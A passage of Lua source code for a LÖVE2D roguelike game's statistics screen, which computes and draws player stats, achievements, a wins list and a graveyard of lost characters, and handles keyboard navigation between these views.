output:sound('stoneslideshort',2)
self.transY = 0
self.maxTransY = 0
self.sideTransY = 0
self.maxSideTransY = 0
self.achievementCursorY=1
local graveyard = load_graveyard()
local wins = load_wins()
local gravesayings = {"R.I.P","Here Lies","In Memorium","Always Remembered"}
self.graveyard = {}
self.wins = {}
self.stats = {}
--Sorting functions:
local sortByDate = function(a,b)
return (a.date and a.date or 0) > (b.date and b.date or 0)
end
local sortByMost = function(a,b)
return (a.sortBy and a.sortBy or 0) > (b.sortBy and b.sortBy or 0)
end
local sortByLeast = function(a,b)
return (a.sortBy and a.sortBy or 0) < (b.sortBy and b.sortBy or 0)
end
--Deal with Stats:
if count(achievementList) > 0 then
self.stats[1] = {id="achievements",header="Achievements",label = "Achievements",stats={},expand=true}
end
local abilityStats = {}
if totalstats.ability_used then
for abil,uses in pairs(totalstats.ability_used) do
local id = #abilityStats+1
abilityStats[id] = {}
abilityStats[id].ability = abil
abilityStats[id].uses = uses
abilityStats[id].sortBy = uses
end
table.sort(abilityStats,sortByMost)
local whichAbil = abilityStats[1] and (abilityStats[1].ability == "Possession" or abilityStats[1].ability == "Repair Body") and (abilityStats[2] and (abilityStats[2].ability == "Possession" or abilityStats[2].ability == "Repair Body") and 3 or 2) or 1
end
self.stats[#self.stats+1] = {id="abilities",header="Ability Usage",label = (abilityStats[whichAbil] and "Favorite Ability: " .. abilityStats[whichAbil].ability .. " (" .. abilityStats[whichAbil].uses .. " uses)" or "Favorite Abilities"),stats=abilityStats,expand=true}
local killStats = {}
if totalstats.creature_kills then
for creat,kills in pairs(totalstats.creature_kills) do
local id = #killStats+1
killStats[id] = {}
killStats[id].creat = creat
killStats[id].kills = kills
killStats[id].sortBy = kills
end
table.sort(killStats,sortByMost)
end
self.stats[#self.stats+1] = {id="kills",header="Creature Kills",label=(killStats[1] and "Most Killed Creature: " .. ucfirst(possibleMonsters[killStats[1].creat].name) .. " (" .. killStats[1].kills .. " kills)" or "Kills"),stats=killStats,expand=true}
local followerStats = {}
if totalstats.thralls then
for follower,thralls in pairs(totalstats.thralls) do
local id = #followerStats+1
local deaths = (totalstats.creature_ally_deaths and totalstats.creature_ally_deaths[follower] or 0)
local kills = (totalstats.allied_creature_kills and totalstats.allied_creature_kills[follower] or 0)
local killsPer = round(kills/(thralls or 1))
followerStats[id] = {}
followerStats[id].creat = follower
followerStats[id].thralls = thralls
followerStats[id].kills = kills
followerStats[id].deaths = deaths
followerStats[id].killsPer = killsPer
followerStats[id].sortBy = killsPer
end
table.sort(followerStats,sortByMost)
end
self.stats[#self.stats+1] = {id="follower_kills",header="Kills by Followers",label=(followerStats[1] and "Most Effective Follower: " .. ucfirst(possibleMonsters[followerStats[1].creat].name) .. " (" .. followerStats[1].kills .. " Average Kills per Follower)" or "Kills by Followers"),stats=followerStats,expand=true}
self.stats[#self.stats+1] = {id="games",label="Total Games Started: " .. (totalstats.games or 0)}
self.stats[#self.stats+1] = {id="wins",label="Games Won: " .. (totalstats.wins or 0)}
self.stats[#self.stats+1] = {id="losses",label="Games Lost: " .. (totalstats.losses or 0)}
self.stats[#self.stats+1] = {id="turns",label="Total Turns Played: " .. (totalstats.turns or 0)}
self.stats[#self.stats+1] = {id="turnspergame",label="Average Turns/Game: " .. round((totalstats.turns or 0)/(totalstats.games or 1))}
--Deal with Wins:
for _, win in pairs(wins) do
self.wins[#self.wins+1] = win
if win.stats and win.stats.ability_used then
win.stats.favoriteAbilityTurns,win.stats.favoriteAbility = get_largest(win.stats.ability_used)
end
end
table.sort(self.wins,sortByDate)
--Deal with Deaths:
for i,grave in pairs(graveyard) do
grave.saying = gravesayings[random(#gravesayings)]
self.graveyard[#self.graveyard+1] = grave
if grave.stats and grave.stats.ability_used then
grave.stats.favoriteAbilityTurns,grave.stats.favoriteAbility = get_largest(grave.stats.ability_used)
end
end
table.sort(self.graveyard,sortByDate)
--Last two stats, that depend on wins and losses
local totalWinTurns = 0
for _,win in pairs(self.wins) do
totalWinTurns = totalWinTurns+(win.stats.turns or 0)
end
self.stats[#self.stats+1] = {id="turnsperwin",label="Average Turns/Win: " .. (totalstats.wins and round(totalWinTurns/totalstats.wins) or "N/A"),stats={}}
local totalLossTurns = 0
for _,grave in pairs(self.graveyard) do
totalLossTurns = totalLossTurns+(grave.stats and grave.stats.turns or 0)
end
self.stats[#self.stats+1] = {id="turnsperloss",label="Average Turns/Loss: " .. round(totalLossTurns/(totalstats.losses or 1)),stats={}}
end
function gamestats:draw()
self.previous:draw()
local padding=prefs['noImages'] and 14 or 32
local fontSize = prefs['fontSize']
local uiScale = prefs['uiScale'] or 1
local width, height = math.floor(love.graphics:getWidth()/uiScale),math.floor(love.graphics:getHeight()/uiScale)
local mouseX,mouseY = love.mouse.getPosition()
mouseX,mouseY = math.floor(mouseX/uiScale),math.floor(mouseY/uiScale)
love.graphics.push()
love.graphics.scale(uiScale,uiScale)
love.graphics.translate(0,height*(self.yModPerc/100))
--Draw top nav bar:
output:draw_window(0,0,width-padding,64)
self.closebutton = output:closebutton(math.floor(padding/2),math.floor(padding/2))
love.graphics.setFont(fonts.graveFontBig)
local buttonWidth = fonts.graveFontBig:getWidth("Stats")
self.statsbutton = output:button(padding,padding,buttonWidth,false,(self.cursorY == 1 and self.cursorX == 1 and "hover" or nil),"Stats",true)
buttonWidth = fonts.graveFontBig:getWidth("Wins" .. (totalstats.wins and "(" .. totalstats.wins .. ")" or ""))
self.winsbutton = output:button(math.floor((width-padding-buttonWidth)/2),padding,buttonWidth,false,(self.cursorY == 1 and self.cursorX == 2 and "hover" or nil),"Wins" .. (totalstats.wins and "(" .. totalstats.wins .. ")" or ""),true)
buttonWidth = fonts.graveFontBig:getWidth("Losses" .. (totalstats.losses and "(" .. totalstats.losses .. ")" or ""))
self.lossesbutton = output:button(width-padding-buttonWidth,padding,buttonWidth,false,(self.cursorY == 1 and self.cursorX == 3 and "hover" or nil),"Losses" .. (totalstats.losses and "(" .. totalstats.losses .. ")" or ""),true)
if self.screen == "stats" then
local w1end,w2start,w2end = math.floor(width/2),math.ceil(width/2)+padding,math.ceil(width/2)+math.floor(width/2)-padding
local windowY = 64+padding
local sidebarX = round(width/2)+padding
local stopSelect = sidebarX-padding*2-(self.maxTransY < 0 and 32 or 0)
output:draw_window(0,64+padding,sidebarX-padding,height-padding)
output:draw_window(sidebarX,64+padding,width-padding,height-padding)
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf("Statistics",1,80+padding,sidebarX,"center")
love.graphics.setFont(fonts.textFont)
if self.maxTransY < 0 then
local scrollAmt = self.transY / self.maxTransY
self.scrollPositions = output:scrollbar(w1end-padding,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
local function stencilFunc()
love.graphics.rectangle("fill",padding,windowY+padding*2,w1end,height-padding-(windowY+padding*2))
end
love.graphics.stencil(stencilFunc,"replace",1)
love.graphics.setStencilTest("greater",0)
love.graphics.translate(0,self.transY)
local printY = 80+padding*3
--Display the stat list:
for id,stat in ipairs(self.stats) do
local expand = false
if stat.expand then
expand = true
end
local _,tlines = fonts.textFont:getWrap(stat.label .. (expand and " > " or ""),stopSelect)
if self.cursorY-1 == id then
setColor(100,100,100,255)
love.graphics.rectangle("fill",padding,printY,stopSelect,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
elseif mouseX > padding and mouseX < sidebarX-padding and mouseY > printY and mouseY < math.ceil(printY+fontSize*#tlines*1.15) and stat.expand then
setColor(50,50,50,255)
love.graphics.rectangle("fill",padding,printY,stopSelect,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
end
love.graphics.printf(stat.label .. (expand and " > " or ""),padding,printY,stopSelect)
stat.printY=printY
printY = printY + math.ceil(fontSize*#tlines*1.25)
stat.maxY=printY
self.maxTransY = height-printY-fontSize
end--end stat for
love.graphics.pop()
love.graphics.setStencilTest()
--Display the selected stat:
local stat = self.stats[self.cursorY-1]
if stat and stat.expand then
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf(stat.header or "Stat?",sidebarX,80+padding,width-sidebarX,"center")
love.graphics.setFont(fonts.textFont)
local function stencilFunc()
love.graphics.rectangle("fill",sidebarX,80+padding*2,width-sidebarX,height-padding*2-98)
end
love.graphics.stencil(stencilFunc,"replace",1)
love.graphics.setStencilTest("greater",0)
if stat.id == "achievements" and count(achievementList) > 0 then
if self.maxSideTransY < 0 then
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
local printY = 96+padding*(prefs['noImages'] and 6 or 3)
local printX = sidebarX+64
local gridX,gridY=1,1
local maxGridX=nil
local largestY=64
local lastY=0
local selectedAchievement=nil
for id,achiev in pairs(achievementList) do
local _, nlines = fonts.textFont:getWrap(achiev.name,128)
local maxY = printY+#nlines*fontSize
achiev.maxY = maxY
local isMouse = (mouseX > printX-32 and mouseX < printX+96 and mouseY > printY-32+self.sideTransY and mouseY < maxY+self.sideTransY)
local selected = (gridX == self.cursorX-1 and gridY == (self.achievementCursorY or 1)) or isMouse
achiev.selected = selected
if selected then
if isMouse or selectedAchievement == nil then selectedAchievement = id end
setColor(100,100,100,255)
love.graphics.rectangle('fill',printX-8,printY-16,80,80)
setColor(255,255,255,255)
end
achiev.gridX,achiev.gridY=gridX,gridY
achiev.printY=printY
achiev.printX=printX
local has = achievements:has_achievement(id)
local img = (has and (images['achievement' .. id] and images['achievement' .. id] or images['achievementunknown']) or (images['achievement' .. id .. 'locked'] and images['achievement' .. id .. 'locked'] or images['achievementunknownlocked']))
if prefs['noImages'] then
if not has then
setColor(125,125,125,255)
love.graphics.printf("( )",printX-32,printY,128,"center")
love.graphics.printf(achiev.name,printX-32,printY+prefs['fontSize'],128,"center")
setColor(255,255,255,255)
else
love.graphics.printf("(X)",printX-32,printY,128,"center")
love.graphics.printf(achiev.name,printX-32,printY+prefs['fontSize'],128,"center")
end
local _,tlines = fonts.textFont:getWrap(achiev.name,128)
lastY=printY+prefs['fontSize']+#tlines*fontSize
else
setColor(33,33,33,255)
love.graphics.rectangle('fill',printX,printY-8,66,66)
setColor(255,255,255,255)
love.graphics.rectangle('line',printX-1,printY-9,66,66)
love.graphics.draw(img,printX,printY-8)
love.graphics.printf(achiev.name,printX-32,printY+64-8,128,"center")
local _,tlines = fonts.textFont:getWrap(achiev.name,128)
lastY=printY+64-8+#tlines*fontSize
end
printX = printX+128
gridX = gridX+1
largestY = math.max(largestY,(#nlines+1)*fontSize)
if printX+128 > width then
printX = sidebarX+64
printY = printY + largestY+64
maxGridX = gridX
gridX = 1
gridY = gridY+1
largestY = 64
end
end --end achiev for
if selectedAchievement then
local achiev = achievementList[selectedAchievement]
local _, tlines = fonts.descFont:getWrap(achiev.description,300)
local boxHeight = #tlines*(prefs['descFontSize']+3)+math.ceil(prefs['descFontSize']/2)
local x = math.min(width-332,achiev.printX)
local y = math.min(height-boxHeight-32-self.sideTransY,achiev.printY)
love.graphics.setFont(fonts.descFont)
setColor(255,255,255,185)
love.graphics.rectangle("line",x+22,y+20,302,boxHeight)
setColor(0,0,0,185)
love.graphics.rectangle("fill",x+23,y+21,301,boxHeight-1)
setColor(255,255,255,255)
love.graphics.printf(achiev.description,x+24,y+22,300)
love.graphics.setFont(fonts.textFont)
end
local maxGridY = gridY
local lastGridX = gridX
if self.cursorX > maxGridX or ((self.achievementCursorY or 1) == maxGridY and self.cursorX > lastGridX) then
if self.achievementCursorY < maxGridY then
self.cursorX = maxGridX
else
self.cursorX = math.min(maxGridX,lastGridX)
end
end
if (self.achievementCursorY or 1) > maxGridY then self.achievementCursorY = maxGridY end
self.maxSideTransY = height-lastY-128
love.graphics.pop()
elseif stat.id == "abilities" then
if self.maxSideTransY < 0 then
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
local printY = 80+padding*3
for _,abil in pairs(stat.stats) do
love.graphics.print(abil.ability .. ": " .. abil.uses,sidebarX+padding,printY)
printY = printY+fontSize
end
self.maxSideTransY = height-printY-fontSize*2
love.graphics.pop()
elseif stat.id == "creatures" then
if self.maxSideTransY < 0 then
if self.cursorX == 2 then
setColor(50,50,50,255)
love.graphics.rectangle("fill",width-padding*2,96+padding*2,padding,height-padding-96-padding*2)
setColor(255,255,255,255)
end
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
love.graphics.printf("Total Possessions: " .. (totalstats.total_possessions or 0) .. "\nTotal Explosions: " .. (totalstats.explosions or 0),sidebarX,80+padding*2+24,width-sidebarX,"center")
local printY = 80+padding*2+fontSize*4
for _,creat in pairs(stat.stats) do
if possibleMonsters[creat.creat] then --check to make sure this creature exists (it might not due to mods loaded)
local name = ucfirst(possibleMonsters[creat.creat].name)
love.graphics.printf(name,sidebarX,printY,width-sidebarX,"center")
printY=printY+fontSize
if creat.possessions then
love.graphics.print("Possessions: " .. creat.possessions,sidebarX+padding*2,printY)
printY = printY+fontSize
end
if creat.explosions then
love.graphics.print("Explosions: " .. creat.explosions,sidebarX+padding*2,printY)
printY = printY+fontSize
end
if creat.explosionPercent then
love.graphics.print("Explosion ratio: " .. creat.explosionPercent .. "%",sidebarX+padding*2,printY)
printY = printY+fontSize
end
love.graphics.print("Turns: " .. creat.turns,sidebarX+padding*2,printY)
if creat.ratio then
printY = printY+fontSize
love.graphics.print("Average turns: " .. creat.ratio,sidebarX+padding*2,printY)
end
if creat.kills then
printY = printY+fontSize
love.graphics.print("Kills as: " .. creat.kills,sidebarX+padding*2,printY)
end
if creat.killRatio then
printY = printY+fontSize
love.graphics.print("Average kills: " .. creat.killRatio,sidebarX+padding*2,printY)
end
local c = possibleMonsters[creat.creat]
c.image_frame = 1
c.baseType = "creature"
if c.id == nil then c.id = creat.creat end
output.display_entity(c,sidebarX+padding-8,printY-round(fontSize*(creat.creat == "ghost" and 0.5 or 3.5)),"force")
printY = printY+fontSize*2
end
end
self.maxSideTransY = height-printY-fontSize
love.graphics.pop()
elseif stat.id == "kills" then
if self.maxSideTransY < 0 then
if self.cursorX == 2 then
setColor(50,50,50,255)
love.graphics.rectangle("fill",width-padding*2,96+padding*2,padding,height-padding-96-padding*2)
setColor(255,255,255,255)
end
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
love.graphics.printf("Total Kills: " .. (totalstats.kills or 0),sidebarX,80+padding*2,width-sidebarX,"center")
local printY = 80+padding*2+fontSize*2
for _,creat in pairs(stat.stats) do
love.graphics.print(ucfirst(possibleMonsters[creat.creat].name) .. ": " .. creat.kills,sidebarX+padding,printY)
printY = printY+fontSize
end
self.maxSideTransY = height-printY-fontSize*2
love.graphics.pop()
elseif stat.id == "explosions" then
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
love.graphics.printf("Total Explosions: " .. totalstats.explosions,sidebarX,80+padding*2,width-sidebarX,"center")
local printY = 80+padding*2+fontSize*2
for _,creat in pairs(stat.stats) do
love.graphics.print(ucfirst(possibleMonsters[creat.creat].name) .. "s Exploded: " .. creat.explosions,sidebarX+padding,printY)
printY = printY+fontSize
end
self.maxSideTransY = height-printY
love.graphics.pop()
elseif stat.id == "leader_kills" then
if self.maxSideTransY < 0 then
if self.cursorX == 2 then
setColor(50,50,50,255)
love.graphics.rectangle("fill",width-padding*2,96+padding*2,padding,height-padding-96-padding*2)
setColor(255,255,255,255)
end
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
local printY = 80+padding*3
for _,creat in pairs(stat.stats) do
local name = ucfirst(possibleMonsters[creat.creat].name)
love.graphics.printf(name,sidebarX,printY,width-sidebarX,"center")
printY=printY+fontSize
love.graphics.print("Total Followers: " .. creat.thralls,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Follower kills: " .. creat.kills,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Kills/Follower: " .. creat.killsPerFollower,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Possessions: " .. creat.possessions,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Followers/Possession: " .. creat.thrallsPerPossession,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Follower Kills/Possession: " .. creat.killsPerPossession,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Follower deaths: " .. creat.followerDeaths,sidebarX+padding*2,printY)
local c = possibleMonsters[creat.creat]
c.image_frame = 1
c.baseType = "creature"
if c.id == nil then c.id = creat.creat end
output.display_entity(c,sidebarX+padding-8,printY-round(fontSize*(creat.creat == "ghost" and 0.5 or 3.5)),"force")
printY = printY+fontSize*2
end
self.maxSideTransY = height-printY
love.graphics.pop()
elseif stat.id == "follower_kills" then
if self.maxSideTransY < 0 then
if self.cursorX == 2 then
setColor(50,50,50,255)
love.graphics.rectangle("fill",width-padding*2,96+padding*2,padding,height-padding-96-padding*2)
setColor(255,255,255,255)
end
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
local printY = 80+padding*3
for _,creat in pairs(stat.stats) do
local name = ucfirst(possibleMonsters[creat.creat].name)
love.graphics.printf(name,sidebarX,printY,width-sidebarX,"center")
printY=printY+fontSize
love.graphics.print("Number Followed by: " .. creat.thralls,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Follower Kills: " .. creat.kills,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Average Kills: " .. creat.killsPer,sidebarX+padding*2,printY)
printY = printY+fontSize
love.graphics.print("Follower Deaths: " .. creat.deaths,sidebarX+padding*2,printY)
local c = possibleMonsters[creat.creat]
c.image_frame = 1
c.baseType = "creature"
if c.id == nil then c.id = creat.creat end
output.display_entity(c,sidebarX+padding-8,printY-round(fontSize*(creat.creat == "ghost" and 0.5 or 2)),"force")
printY = printY+fontSize*2
end
self.maxSideTransY = height-printY
love.graphics.pop()
elseif stat.id == "levels" then
if self.maxSideTransY < 0 then
if self.cursorX == 2 then
setColor(50,50,50,255)
love.graphics.rectangle("fill",width-padding*2,96+padding*2,padding,height-padding-96-padding*2)
setColor(255,255,255,255)
end
local scrollAmt = self.sideTransY / self.maxSideTransY
self.sideScrollPositions = output:scrollbar(width-padding*2,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
love.graphics.translate(0,self.sideTransY)
local printY = 80+padding*3
for level,stat in ipairs(stat.stats) do
love.graphics.printf((stat.depth and "Depth " .. tostring(11-stat.depth) .. ": " or "") .. tostring(stat.name),sidebarX,printY,width-sidebarX,"center")
printY=printY+fontSize
love.graphics.print("Times Reached: " .. stat.reached,sidebarX+padding*2,printY)
printY=printY+fontSize
love.graphics.print("Times Beaten: " .. stat.beaten,sidebarX+padding*2,printY)
printY=printY+fontSize
love.graphics.print("Beaten Ratio: " .. stat.beatPercent .. "%",sidebarX+padding*2,printY)
printY=printY+fontSize
love.graphics.print("Total Turns on Level: " .. stat.turns,sidebarX+padding*2,printY)
printY=printY+fontSize
love.graphics.print("Average Turns on Level: " .. stat.avgTurns,sidebarX+padding*2,printY)
printY=printY+fontSize
love.graphics.print("Average Turns to Beat: " .. stat.avgTurnsBeat,sidebarX+padding*2,printY)
printY=printY+fontSize*2
end
self.maxSideTransY = height-printY
love.graphics.pop()
end
love.graphics.setStencilTest()
end
elseif self.screen == "wins" then
local w1end,w2start,w2end = math.floor(width/2),math.ceil(width/2)+padding,math.ceil(width/2)+math.floor(width/2)-padding
local windowY = 64+padding
output:draw_window(0,windowY,w1end,height-padding)
output:draw_window(w2start,windowY,w2end,height-padding)
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf("Wins",1,windowY+math.floor(padding/2),math.floor(width/2),"center")
love.graphics.line(padding,windowY+padding*2,w1end-padding,windowY+padding*2)
love.graphics.setFont(fonts.textFont)
if self.maxTransY < 0 then
local scrollAmt = self.transY / self.maxTransY
self.scrollPositions = output:scrollbar(w1end-padding,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
local function stencilFunc()
love.graphics.rectangle("fill",padding,windowY+padding*2,w1end,height-padding-(windowY+padding*2))
end
love.graphics.stencil(stencilFunc,"replace",1)
love.graphics.setStencilTest("greater",0)
love.graphics.translate(0,self.transY)
local printY = windowY+padding*2
for id,grave in ipairs(self.wins) do
local dateWidth = fonts.textFont:getWidth(os.date("%H:%M, %b %d, %Y",grave.date))
local _,tlines = fonts.textFont:getWrap(grave.properName .. ", " .. ucfirst(grave.name),w1end-padding-dateWidth)
if self.cursorY-1 == id then
setColor(100,100,100,255)
love.graphics.rectangle("fill",padding,printY,w1end-padding*2,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
else
local mouseX,mouseY = love.mouse.getPosition()
if mouseY-self.transY > printY and mouseY-self.transY < printY+fontSize*#tlines*1.25 and mouseX > padding and mouseX < w1end-padding then
setColor(66,66,66,255)
love.graphics.rectangle("fill",padding,printY,w1end-padding*2,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
end
end
grave.printY = printY
love.graphics.printf(grave.properName .. ", " .. ucfirst(grave.name),padding,printY,w1end-padding-dateWidth,"left")
love.graphics.printf(os.date("%H:%M, %b %d, %Y",grave.date),w1end-padding*2-dateWidth,printY,dateWidth,"right")
printY = math.ceil(printY+fontSize*#tlines*1.25)
grave.maxY = printY
end
self.maxTransY = height-printY-fontSize-padding
love.graphics.setStencilTest()
love.graphics.pop()
if self.wins[self.cursorY-1] then
local win = self.wins[self.cursorY-1]
local printY = windowY+math.floor(padding/2)
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf(win.properName .. "\n" .. ucfirst(win.name),w2start,printY,w2end-w2start,"center")
local _,lines = fonts.graveFontBig:getWrap(win.properName .. "\n" .. ucfirst(win.name),w2end-w2start+padding)
printY = printY+padding*#lines
love.graphics.setFont(fonts.graveFontSmall)
love.graphics.printf(os.date("%H:%M, %b %d, %Y",win.date),w2start,printY,w2end-w2start,"center")
printY = printY+padding
if win.stats then
love.graphics.setFont(fonts.textFont)
local winText = "Turns played: " .. (win.stats.turns or 0)
winText = winText .. "\nKills: " .. (win.stats.kills or 0)
winText = winText .. "\nFavorite Ability: " .. (win.stats.favoriteAbility and win.stats.favoriteAbility .. " (" .. win.stats.favoriteAbilityTurns .. " uses)" or "Unknown")
love.graphics.printf(winText,w2start+padding,printY,w2end-w2start-padding,"left")
end
end
elseif self.screen == "losses" then
local w1end,w2start,w2end = math.floor(width/2),math.ceil(width/2)+padding,math.ceil(width/2)+math.floor(width/2)-padding
local windowY = 64+padding
output:draw_window(0,windowY,w1end,height-padding)
output:draw_window(w2start,windowY,w2end,height-padding)
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf("Losses",1,windowY+math.floor(padding/2),math.floor(width/2),"center")
love.graphics.line(padding,windowY+padding*2,w1end-padding,windowY+padding*2)
love.graphics.setFont(fonts.textFont)
if self.maxTransY < 0 then
local scrollAmt = self.transY / self.maxTransY
self.scrollPositions = output:scrollbar(w1end-padding,96+padding*2,height-padding,scrollAmt,true)
end
love.graphics.push()
local function stencilFunc()
love.graphics.rectangle("fill",padding,windowY+padding*2,w1end,height-padding-(windowY+padding*2))
end
love.graphics.stencil(stencilFunc,"replace",1)
love.graphics.setStencilTest("greater",0)
love.graphics.translate(0,self.transY)
local printY = windowY+padding*2
for id,grave in ipairs(self.graveyard) do
local dateWidth = fonts.textFont:getWidth(os.date("%H:%M, %b %d, %Y",grave.date))
local _,tlines = fonts.textFont:getWrap(grave.properName .. ", " .. ucfirst(grave.name),w1end-padding-dateWidth)
if self.cursorY-1 == id then
setColor(100,100,100,255)
love.graphics.rectangle("fill",padding,printY,w1end-padding*2,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
else
if mouseY-self.transY > printY and mouseY-self.transY < printY+fontSize*(#tlines*1.25) and mouseX > padding and mouseX < w1end-padding then
setColor(66,66,66,255)
love.graphics.rectangle("fill",padding,printY,w1end-padding*2,math.ceil(2+fontSize*#tlines*1.15))
setColor(255,255,255,255)
end
end
grave.printY = printY
love.graphics.printf(grave.properName .. ", " .. ucfirst(grave.name),padding,printY,w1end-padding*2-dateWidth,"left")
love.graphics.printf(os.date("%H:%M, %b %d, %Y",grave.date),w1end-padding-dateWidth,printY,dateWidth,"right")
printY = printY+math.ceil(fontSize*#tlines*1.25)
grave.maxY = printY
end
self.maxTransY = height-printY-fontSize-padding
love.graphics.setStencilTest()
love.graphics.pop()
if self.graveyard[self.cursorY-1] then
local grave = self.graveyard[self.cursorY-1]
local printY = windowY+math.floor(padding/2)
love.graphics.setFont(fonts.graveFontBig)
love.graphics.printf(grave.saying,w2start,printY,w2end-w2start,"center")
printY = printY+padding
love.graphics.printf(grave.properName .. "\n" .. ucfirst(grave.name),w2start,printY,w2end-w2start,"center")
local _,lines = fonts.graveFontBig:getWrap(grave.properName .. "\n" .. ucfirst(grave.name),w2end-w2start+padding)
printY = printY+padding*#lines
love.graphics.setFont(fonts.graveFontSmall)
love.graphics.printf("Killed by " .. grave.killer,w2start,printY,w2end-w2start,"center")
_,lines = fonts.graveFontBig:getWrap("Killed by " .. grave.killer,w2end-w2start+padding)
printY = printY+math.floor(padding/3)*2*#lines
love.graphics.printf("at " .. os.date("%H:%M, %b %d, %Y",grave.date),w2start,printY,w2end-w2start,"center")
_,lines = fonts.graveFontBig:getWrap("at " .. os.date("%H:%M, %b %d, %Y",grave.date),w2end-w2start+padding)
printY = printY+math.floor(padding/3)*2*#lines
love.graphics.printf((grave.mapname and grave.mapname or ""),w2start,printY,w2end-w2start,"center")
printY = printY+padding
if grave.stats then
love.graphics.setFont(fonts.textFont)
local graveText = "Turns played: " .. (grave.stats.turns or 0)
graveText = graveText .. "\nKills: " .. (grave.stats.kills or 0)
graveText = graveText .. "\nFavorite Ability: " .. (grave.stats.favoriteAbility and grave.stats.favoriteAbility .. " (" .. grave.stats.favoriteAbilityTurns .. " uses)" or "Unknown")
love.graphics.printf(graveText,w2start+padding,printY,w2end-w2start-padding,"left")
end
end
end
love.graphics.pop()
end
function gamestats:keypressed(key)
key = input:parse_key(key)
if key == "escape" then
self:switchBack()
elseif key == "north" then
if self.screen == "stats" and self.cursorX > 1 and self.cursorY ~= 1 then
if self.stats[self.cursorY-1] and self.stats[self.cursorY-1].id == "achievements" then
self.achievementCursorY = math.max(self.achievementCursorY and self.achievementCursorY-1 or 1,1)
for _,achiev in pairs(achievementList) do
if achiev.gridX==self.cursorX-1 and achiev.gridY==self.achievementCursorY then
while achiev.printY-32+self.sideTransY < 96 do self:sidebarScrollUp() end
break
end
end
else
self:sidebarScrollUp()
end
else
self.cursorY = math.max(self.cursorY-1,1)
local which = (self.screen == "losses" and "graveyard" or self.screen)
while self[which][self.cursorY].printY+self.transY <= 96+prefs['fontSize'] do
self:scrollUp()
end
end
elseif key == "south" then
local maxY = (self.screen == "losses" and #self.graveyard+1) or (self.screen == "stats" and #self.stats+1) or (self.screen == "wins" and #self.wins+1)
if self.screen == "stats" and self.cursorX > 1 and self.cursorY ~= 1 then
if self.stats[self.cursorY-1] and self.stats[self.cursorY-1].id == "achievements" then
self.achievementCursorY = (self.achievementCursorY and self.achievementCursorY+1 or 2)
for _,achiev in pairs(achievementList) do
if achiev.gridX==self.cursorX-1 and achiev.gridY==self.achievementCursorY then
while achiev.maxY+self.sideTransY > love.graphics:getHeight() do self:sidebarScrollDown() end
break
end
end
else
self:sidebarScrollDown()
end
elseif self.screen == "stats" and not self.stats[self.cursorY].expand then
self:scrollDown()
else
if self.screen ~= "stats" or self.stats[self.cursorY].expand then
self.cursorY = math.min(self.cursorY+1,(maxY or 1))
if self.screen ~= "stats" then
local which = (self.screen == "losses" and "graveyard" or self.screen)
if self[which][self.cursorY] and (self[which][self.cursorY-1].maxY > love.graphics.getHeight()-32-self.transY) then
self:scrollDown()
end
elseif self.screen == "stats" then
self.cursorX = 1
self.sideTransY = 0
end
end
end
elseif key == "west" then
if self.cursorY == 1 then
self.cursorX = math.max(self.cursorX-1,1)
else
if self.screen == "stats" then
self.cursorX = math.max(self.cursorX-1,1)
else
self.cursorY = 1
self.cursorX = (self.screen == "losses" and 2 or 1)
end
end
elseif key == "east" then
if self.cursorY == 1 then
self.cursorX = math.min(self.cursorX+1,3)
else
if self.screen == "stats" then
if self.stats[self.cursorY-1] and self.stats[self.cursorY-1].expand and self.maxSideTransY < 0 then
self.cursorX = self.cursorX + 1
if not self.stats[self.cursorY-1] or self.stats[self.cursorY-1].id ~= "achievements" then
self.cursorX = 2
end
end
elseif self.screen == "wins" then
self.cursorY = 1
self.cursorX = 3
end
end
elseif key == "return" or key == "wait" then
if self.cursorY == 1 then
if self.cursorX == 1 then
self.screen = "stats"
self.transY = 0
self.cursorY = 1
elseif self.cursorX == 2 then
self.screen = "wins"
self.transY = 0
self.cursorY = 1
elseif self.cursorX == 3 then
self.screen = "losses"
self.transY = 0
self.cursorY = 1
end --end cursorX if
end --end cursorY if
end --end key if
end
function gamestats:wheelmoved(x,y)
local padding=prefs['noImages'] and 14 or 32
